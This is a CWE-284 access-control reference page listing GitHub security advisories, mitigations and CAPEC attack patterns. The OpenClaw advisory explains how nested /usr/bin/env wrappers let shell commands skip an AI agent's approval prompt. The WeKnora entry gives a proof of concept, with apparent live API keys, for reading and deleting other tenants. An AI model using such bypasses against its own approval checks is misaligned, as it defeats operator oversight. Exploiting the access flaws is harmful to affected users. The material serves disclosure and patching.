CWE-284
DiscouragedImproper Access Control
Abstraction: Pillar · Status: Incomplete
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
8432 vulnerabilities reference this CWE, most recent first.
GHSA-CCCF-3JPJ-HGW6
Vulnerability from github – Published: 2026-07-22 00:31 – Updated: 2026-07-22 00:31Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Payroll. While the vulnerability is in Oracle Payroll, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Payroll accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).
{
"affected": [],
"aliases": [
"CVE-2026-60750"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-21T22:18:15Z",
"severity": "HIGH"
},
"details": "Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Payroll. While the vulnerability is in Oracle Payroll, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Payroll accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).",
"id": "GHSA-cccf-3jpj-hgw6",
"modified": "2026-07-22T00:31:59Z",
"published": "2026-07-22T00:31:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60750"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CCCH-Q89J-28HM
Vulnerability from github – Published: 2026-06-09 18:30 – Updated: 2026-06-09 18:30A improper access control vulnerability in Fortinet FortiPortal 7.4.0 through 7.4.7, FortiPortal 7.2.0 through 7.2.8, FortiPortal 7.0 all versions may allow attacker to improper access control via
{
"affected": [],
"aliases": [
"CVE-2026-49938"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-09T16:16:43Z",
"severity": "MODERATE"
},
"details": "A improper access control vulnerability in Fortinet FortiPortal 7.4.0 through 7.4.7, FortiPortal 7.2.0 through 7.2.8, FortiPortal 7.0 all versions may allow attacker to improper access control via \u003cinsert attack vector here\u003e",
"id": "GHSA-ccch-q89j-28hm",
"modified": "2026-06-09T18:30:39Z",
"published": "2026-06-09T18:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49938"
},
{
"type": "WEB",
"url": "https://fortiguard.fortinet.com/psirt/FG-IR-26-140"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CCF9-9C7J-8RWJ
Vulnerability from github – Published: 2022-05-24 16:51 – Updated: 2024-04-04 01:26cPanel before 11.54.0.0 allows unauthorized zone modification via the WHM API (SEC-66).
{
"affected": [],
"aliases": [
"CVE-2016-10860"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-08-01T15:15:00Z",
"severity": "HIGH"
},
"details": "cPanel before 11.54.0.0 allows unauthorized zone modification via the WHM API (SEC-66).",
"id": "GHSA-ccf9-9c7j-8rwj",
"modified": "2024-04-04T01:26:05Z",
"published": "2022-05-24T16:51:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-10860"
},
{
"type": "WEB",
"url": "https://documentation.cpanel.net/display/CL/54+Change+Log"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CCG8-46R6-9QGJ
Vulnerability from github – Published: 2026-03-03 19:16 – Updated: 2026-03-30 13:46Summary
A wrapper-depth parsing mismatch in system.run allowed nested transparent dispatch wrappers (for example repeated /usr/bin/env) to suppress shell-wrapper detection while still matching allowlist resolution. In security=allowlist + ask=on-miss, this could bypass the expected approval prompt for shell execution.
Severity / Trust Model
OpenClaw’s documented model treats authenticated gateway callers as trusted operators and exec approvals as operator guardrails. This issue is still a real approval-boundary bypass and is triaged as Medium in that model.
Technical Details
- Dispatch-wrapper unwrapping stopped at
MAX_DISPATCH_WRAPPER_DEPTH. - Shell-wrapper extraction could return non-wrapper once depth was exhausted.
- Allowlist resolution could still succeed on partially unwrapped argv beginning with
/usr/bin/env. - Result: nested wrapper chains could execute
/bin/sh -c ...without fresh approval inallowlist+ask=on-miss.
Affected Packages / Versions
- Package:
openclaw(npm) - Latest published version at triage time:
2026.2.23 - Vulnerable versions:
<= 2026.2.23 - Patched versions (planned next release):
>= 2026.2.24
Fix Commit(s)
57c9a18180c8b14885bbd95474cbb17ff2d03f0b
Verification
- Added regression coverage for depth-overflow wrapper chains at resolution and
system.runinvocation layers. - Reproduced previous PoC behavior before fix, then confirmed denial after fix with
SYSTEM_RUN_DENIED: approval required.
Release Process Note
patched_versions is pre-set to the planned next release (2026.2.24) so once npm publish is complete, advisory publication can proceed without additional version edits.
OpenClaw thanks @tdjackey for reporting.
Publication Update (2026-02-25)
openclaw@2026.2.24 is published on npm and contains the fix commit(s) listed above. This advisory now marks >= 2026.2.24 as patched.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2026.2.23"
},
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.2.24"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32023"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-03T19:16:48Z",
"nvd_published_at": "2026-03-19T22:16:36Z",
"severity": "MODERATE"
},
"details": "### Summary\nA wrapper-depth parsing mismatch in `system.run` allowed nested transparent dispatch wrappers (for example repeated `/usr/bin/env`) to suppress shell-wrapper detection while still matching allowlist resolution. In `security=allowlist` + `ask=on-miss`, this could bypass the expected approval prompt for shell execution.\n\n### Severity / Trust Model\nOpenClaw\u2019s documented model treats authenticated gateway callers as trusted operators and exec approvals as operator guardrails. This issue is still a real approval-boundary bypass and is triaged as **Medium** in that model.\n\n### Technical Details\n- Dispatch-wrapper unwrapping stopped at `MAX_DISPATCH_WRAPPER_DEPTH`.\n- Shell-wrapper extraction could return non-wrapper once depth was exhausted.\n- Allowlist resolution could still succeed on partially unwrapped argv beginning with `/usr/bin/env`.\n- Result: nested wrapper chains could execute `/bin/sh -c ...` without fresh approval in `allowlist` + `ask=on-miss`.\n\n### Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Latest published version at triage time: `2026.2.23`\n- Vulnerable versions: `\u003c= 2026.2.23`\n- Patched versions (planned next release): `\u003e= 2026.2.24`\n\n### Fix Commit(s)\n- `57c9a18180c8b14885bbd95474cbb17ff2d03f0b`\n\n### Verification\n- Added regression coverage for depth-overflow wrapper chains at resolution and `system.run` invocation layers.\n- Reproduced previous PoC behavior before fix, then confirmed denial after fix with `SYSTEM_RUN_DENIED: approval required`.\n\n### Release Process Note\n`patched_versions` is pre-set to the planned next release (`2026.2.24`) so once npm publish is complete, advisory publication can proceed without additional version edits.\n\nOpenClaw thanks @tdjackey for reporting.\n\n\n### Publication Update (2026-02-25)\n`openclaw@2026.2.24` is published on npm and contains the fix commit(s) listed above. This advisory now marks `\u003e= 2026.2.24` as patched.",
"id": "GHSA-ccg8-46r6-9qgj",
"modified": "2026-03-30T13:46:28Z",
"published": "2026-03-03T19:16:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-ccg8-46r6-9qgj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32023"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/57c9a18180c8b14885bbd95474cbb17ff2d03f0b"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-approval-gating-bypass-via-dispatch-wrapper-depth-cap-mismatch-in-system-run"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw\u0027s dispatch-wrapper depth-cap mismatch can bypass shell-wrapper approval gating in system.run allowlist mode"
}
GHSA-CCHP-C7C7-JF58
Vulnerability from github – Published: 2024-08-07 21:31 – Updated: 2024-09-06 15:32A vulnerability was discovered in the firmware builds up to 10.10.2.2 in Poly Clariti Manager devices. The firmware flaw does not properly implement access controls.
{
"affected": [],
"aliases": [
"CVE-2024-41912"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-07T20:15:50Z",
"severity": "CRITICAL"
},
"details": "A vulnerability was discovered in the firmware builds up to 10.10.2.2 in Poly Clariti Manager devices. The firmware flaw does not properly implement access controls.",
"id": "GHSA-cchp-c7c7-jf58",
"modified": "2024-09-06T15:32:55Z",
"published": "2024-08-07T21:31:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41912"
},
{
"type": "WEB",
"url": "https://support.hp.com/us-en/document/ish_11006235-11006266-16/hpsbpy03958"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CCJ6-79J6-CQ5Q
Vulnerability from github – Published: 2026-03-06 23:53 – Updated: 2026-03-09 13:21Summary
An authorization bypass in tenant management endpoints of WeKnora application allows any authenticated user to read, modify, or delete any tenant by ID. Since account registration is open to the public, this vulnerability allows any unauthenticated attacker to register an account and subsequently exploit the system. This enables cross-tenant account takeover and destruction, making the impact critical.
Details
The tenant management handlers do not validate that the caller owns the tenant or has cross-tenant privileges. The handlers parse the tenant ID from the path and directly call the service layer with that ID, returning or mutating the tenant without authorization checks.
Affected handlers:
- GET /api/v1/tenants lists all tenants without ownership checks
- GET /api/v1/tenants/{id} reads any tenant by ID without ownership checks
- PUT /api/v1/tenants/{id} allows updating any tenant by ID without ownership checks
- DELETE /api/v1/tenants/{id} allows deleting any tenant by ID without ownership checks
These endpoints do not enforce cross-tenant permissions or deny-by-default behavior, unlike ListAllTenants and SearchTenants.
PoC
1) Register a new account as a user in Tenant 10025 and obtain a bearer token or API key.
2) Read details of other tenants:
-
Request that uses API key via the
X-API-Keyheader:```http GET /api/v1/tenants HTTP/1.1 Host: localhost Connection: keep-alive X-Request-ID: 2TpH2S0sHyi1 X-API-Key: sk--HmGzVTrUW-p334ddZzJnucebiWBZ63AH5qKVO0EY4QNrELd sec-ch-ua-platform: "macOS" User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Accept: application/json, text/plain, / sec-ch-ua: "Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144" sec-ch-ua-mobile: ?0 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://weknora.serviceme.top/platform/knowledge-bases Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
```
-
Response (truncated for brevity):
```http HTTP/1.1 200 OK Server: nginx/1.28.0 Date: Fri, 06 Feb 2026 03:12:22 GMT Content-Type: application/json; charset=utf-8 Connection: close X-Request-Id: 2TpH2S0sHyi1 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: strict-origin-when-cross-origin
{ "data": { "items": [ { "id": 10025, "name": "injokerr's Workspace", "api_key": "sk--HmGzVTrUW-p334ddZzJnucebiWBZ63AH5qKVO0EY4QNrELd", "status": "active" }, { "id": 10001, "name": "viaim_yuweilong", "api_key": "sk-hocFTPZIYW9ixuUNbFidgSQ5eciSVcJkzE8Ns3BI6Ev-8cFe", "status": "active" } ] }, "success": true } ... ```
With API keys, we can do anything on the victim account's behalf, including reading sensitive data (LLM API keys, knowledge bases), modifying configurations, etc.
Requests to perform modification and deletion of another tenant.
1) Modify the victim tenant:
- Request:
- Method:
PUT - URL:
http://localhost:8088/api/v1/tenants/10001 - Header:
Authorization: Bearer <ATTACKER_TOKEN> -
Body:
{ "name": "HACKED by tenant 10025" } -
Expected response:
200 OKwith the updated tenant object.
4) Delete the victim tenant:
- Request:
- Method:
DELETE - URL:
http://localhost:8088/api/v1/tenants/10001 -
Header:
Authorization: Bearer <ATTACKER_TOKEN> -
Expected response:
200 OKand the tenant is deleted.
Impact
This is a Broken Access Control (BOLA/IDOR) vulnerability in tenant management of WeKnora. Any user can access, modify, or delete tenants belonging to other customers, resulting in cross-tenant data exposure, account takeover, and destructive actions against other tenants. Moreover, when the account is taken over, attacker can read configured models to unauthorizedly extract sensitive data such as API keys of LLM services.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.3.1"
},
"package": {
"ecosystem": "Go",
"name": "github.com/Tencent/WeKnora"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.3.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-30855"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-06T23:53:53Z",
"nvd_published_at": "2026-03-07T17:15:53Z",
"severity": "CRITICAL"
},
"details": "### Summary\nAn authorization bypass in tenant management endpoints of WeKnora application allows any authenticated user to read, modify, or delete any tenant by ID. Since account registration is open to the public, this vulnerability allows any unauthenticated attacker to register an account and subsequently exploit the system. This enables cross-tenant account takeover and destruction, making the impact critical.\n\n### Details\nThe tenant management handlers do not validate that the caller owns the tenant or has cross-tenant privileges. The handlers parse the tenant ID from the path and directly call the service layer with that ID, returning or mutating the tenant without authorization checks.\n\nAffected handlers:\n- `GET /api/v1/tenants` lists all tenants without ownership checks\n- `GET /api/v1/tenants/{id}` reads any tenant by ID without ownership checks\n- `PUT /api/v1/tenants/{id}` allows updating any tenant by ID without ownership checks\n- `DELETE /api/v1/tenants/{id}` allows deleting any tenant by ID without ownership checks\n\nThese endpoints do not enforce cross-tenant permissions or deny-by-default behavior, unlike `ListAllTenants` and `SearchTenants`.\n\n### PoC\n1) Register a new account as a user in Tenant 10025 and obtain a bearer token or API key.\n\n2) Read details of other tenants:\n\n - Request that uses API key via the `X-API-Key` header:\n\n ```http\n GET /api/v1/tenants HTTP/1.1\n Host: localhost\n Connection: keep-alive\n X-Request-ID: 2TpH2S0sHyi1\n X-API-Key: sk--HmGzVTrUW-p334ddZzJnucebiWBZ63AH5qKVO0EY4QNrELd\n sec-ch-ua-platform: \"macOS\"\n User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36\n Accept: application/json, text/plain, */*\n sec-ch-ua: \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"144\", \"Google Chrome\";v=\"144\"\n sec-ch-ua-mobile: ?0\n Sec-Fetch-Site: same-origin\n Sec-Fetch-Mode: cors\n Sec-Fetch-Dest: empty\n Referer: https://weknora.serviceme.top/platform/knowledge-bases\n Accept-Encoding: gzip, deflate, br, zstd\n Accept-Language: en-US,en;q=0.9\n\n\n ```\n\n\n - Response (truncated for brevity):\n\n ```http\n HTTP/1.1 200 OK\n Server: nginx/1.28.0\n Date: Fri, 06 Feb 2026 03:12:22 GMT\n Content-Type: application/json; charset=utf-8\n Connection: close\n X-Request-Id: 2TpH2S0sHyi1\n X-Frame-Options: SAMEORIGIN\n X-Content-Type-Options: nosniff\n X-XSS-Protection: 1; mode=block\n Referrer-Policy: strict-origin-when-cross-origin\n\n {\n \"data\": {\n \"items\": [\n {\n \"id\": 10025,\n \"name\": \"injokerr\u0027s Workspace\",\n \"api_key\": \"sk--HmGzVTrUW-p334ddZzJnucebiWBZ63AH5qKVO0EY4QNrELd\",\n \"status\": \"active\"\n },\n {\n \"id\": 10001,\n \"name\": \"viaim_yuweilong\",\n \"api_key\": \"sk-hocFTPZIYW9ixuUNbFidgSQ5eciSVcJkzE8Ns3BI6Ev-8cFe\",\n \"status\": \"active\"\n }\n ]\n },\n \"success\": true\n }\n ...\n ```\n\nWith API keys, we can do anything on the victim account\u0027s behalf, including reading sensitive data (LLM API keys, knowledge bases), modifying configurations, etc.\n\nRequests to perform modification and deletion of another tenant.\n\n1) Modify the victim tenant:\n\n- Request:\n - Method: `PUT`\n - URL: `http://localhost:8088/api/v1/tenants/10001`\n - Header: `Authorization: Bearer \u003cATTACKER_TOKEN\u003e`\n - Body: `{ \"name\": \"HACKED by tenant 10025\" }`\n\n- Expected response:\n - `200 OK` with the updated tenant object.\n\n4) Delete the victim tenant:\n\n- Request:\n - Method: `DELETE`\n - URL: `http://localhost:8088/api/v1/tenants/10001`\n - Header: `Authorization: Bearer \u003cATTACKER_TOKEN\u003e`\n\n- Expected response:\n - `200 OK` and the tenant is deleted.\n\n### Impact\n\nThis is a Broken Access Control (BOLA/IDOR) vulnerability in tenant management of WeKnora. Any user can access, modify, or delete tenants belonging to other customers, resulting in cross-tenant data exposure, account takeover, and destructive actions against other tenants. Moreover, when the account is taken over, attacker can read configured models to unauthorizedly extract sensitive data such as API keys of LLM services.",
"id": "GHSA-ccj6-79j6-cq5q",
"modified": "2026-03-09T13:21:37Z",
"published": "2026-03-06T23:53:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Tencent/WeKnora/security/advisories/GHSA-ccj6-79j6-cq5q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30855"
},
{
"type": "PACKAGE",
"url": "https://github.com/Tencent/WeKnora"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "WeKnora Vulnerable to Broken Access Control in Tenant Management"
}
GHSA-CCJH-346X-FH7F
Vulnerability from github – Published: 2026-07-22 00:31 – Updated: 2026-07-22 00:31Vulnerability in the Oracle WebCenter Content product of Oracle Fusion Middleware (component: Content Server). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Content. While the vulnerability is in Oracle WebCenter Content, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle WebCenter Content accessible data as well as unauthorized access to critical data or complete access to all Oracle WebCenter Content accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N).
{
"affected": [],
"aliases": [
"CVE-2026-60448"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-21T22:17:47Z",
"severity": "HIGH"
},
"details": "Vulnerability in the Oracle WebCenter Content product of Oracle Fusion Middleware (component: Content Server). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Content. While the vulnerability is in Oracle WebCenter Content, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle WebCenter Content accessible data as well as unauthorized access to critical data or complete access to all Oracle WebCenter Content accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N).",
"id": "GHSA-ccjh-346x-fh7f",
"modified": "2026-07-22T00:31:42Z",
"published": "2026-07-22T00:31:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60448"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CCMX-J7W6-M4WC
Vulnerability from github – Published: 2026-06-17 18:35 – Updated: 2026-06-17 18:35Vulnerability in the Oracle WebCenter Content product of Oracle Fusion Middleware (component: Content Server). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle WebCenter Content. Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Content. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).
{
"affected": [],
"aliases": [
"CVE-2026-35326"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-17T10:40:24Z",
"severity": "HIGH"
},
"details": "Vulnerability in the Oracle WebCenter Content product of Oracle Fusion Middleware (component: Content Server). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle WebCenter Content. Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Content. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).",
"id": "GHSA-ccmx-j7w6-m4wc",
"modified": "2026-06-17T18:35:26Z",
"published": "2026-06-17T18:35:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35326"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cspujun2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CCW5-HPM4-MG3C
Vulnerability from github – Published: 2025-02-10 21:31 – Updated: 2025-02-10 21:31Tenda W18E V16.01.0.8(1625) is vulnerable to Incorrect Access Control. Unauthorized password change via the web management portal allows an unauthenticated remote attacker to change the administrator password by sending a specially crafted HTTP POST request to the setLoginPassword function, bypassing the authentication mechanism.
{
"affected": [],
"aliases": [
"CVE-2024-46430"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-10T19:15:38Z",
"severity": "HIGH"
},
"details": "Tenda W18E V16.01.0.8(1625) is vulnerable to Incorrect Access Control. Unauthorized password change via the web management portal allows an unauthenticated remote attacker to change the administrator password by sending a specially crafted HTTP POST request to the setLoginPassword function, bypassing the authentication mechanism.",
"id": "GHSA-ccw5-hpm4-mg3c",
"modified": "2025-02-10T21:31:38Z",
"published": "2025-02-10T21:31:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-46430"
},
{
"type": "WEB",
"url": "https://reddassolutions.com/blog/tenda_w18e_security_research"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-CCWC-JRJ7-H4V6
Vulnerability from github – Published: 2024-01-17 00:30 – Updated: 2024-02-14 21:30Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Security). Supported versions that are affected are Oracle Java SE: 17.0.9; Oracle GraalVM for JDK: 17.0.9; Oracle GraalVM Enterprise Edition: 21.3.8 and 22.3.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 7.5 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N).
{
"affected": [],
"aliases": [
"CVE-2024-20932"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-16T22:15:40Z",
"severity": "HIGH"
},
"details": "Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Security). Supported versions that are affected are Oracle Java SE: 17.0.9; Oracle GraalVM for JDK: 17.0.9; Oracle GraalVM Enterprise Edition: 21.3.8 and 22.3.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 7.5 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N).",
"id": "GHSA-ccwc-jrj7-h4v6",
"modified": "2024-02-14T21:30:31Z",
"published": "2024-01-17T00:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-20932"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20240201-0002"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujan2024.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-1
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Mitigation MIT-46
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-19: Embedding Scripts within Scripts
An adversary leverages the capability to execute their own script by embedding it within other scripts that the target software is likely to execute due to programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts.
CAPEC-441: Malicious Logic Insertion
An adversary installs or adds malicious logic (also known as malware) into a seemingly benign component of a fielded system. This logic is often hidden from the user of the system and works behind the scenes to achieve negative impacts. With the proliferation of mass digital storage and inexpensive multimedia devices, Bluetooth and 802.11 support, new attack vectors for spreading malware are emerging for things we once thought of as innocuous greeting cards, picture frames, or digital projectors. This pattern of attack focuses on systems already fielded and used in operation as opposed to systems and their components that are still under development and part of the supply chain.
CAPEC-478: Modification of Windows Service Configuration
An adversary exploits a weakness in access control to modify the execution parameters of a Windows service. The goal of this attack is to execute a malicious binary in place of an existing service.
CAPEC-479: Malicious Root Certificate
An adversary exploits a weakness in authorization and installs a new root certificate on a compromised system. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.
CAPEC-502: Intent Spoof
An adversary, through a previously installed malicious application, issues an intent directed toward a specific trusted application's component in an attempt to achieve a variety of different objectives including modification of data, information disclosure, and data injection. Components that have been unintentionally exported and made public are subject to this type of an attack. If the component trusts the intent's action without verififcation, then the target application performs the functionality at the adversary's request, helping the adversary achieve the desired negative technical impact.
CAPEC-503: WebView Exposure
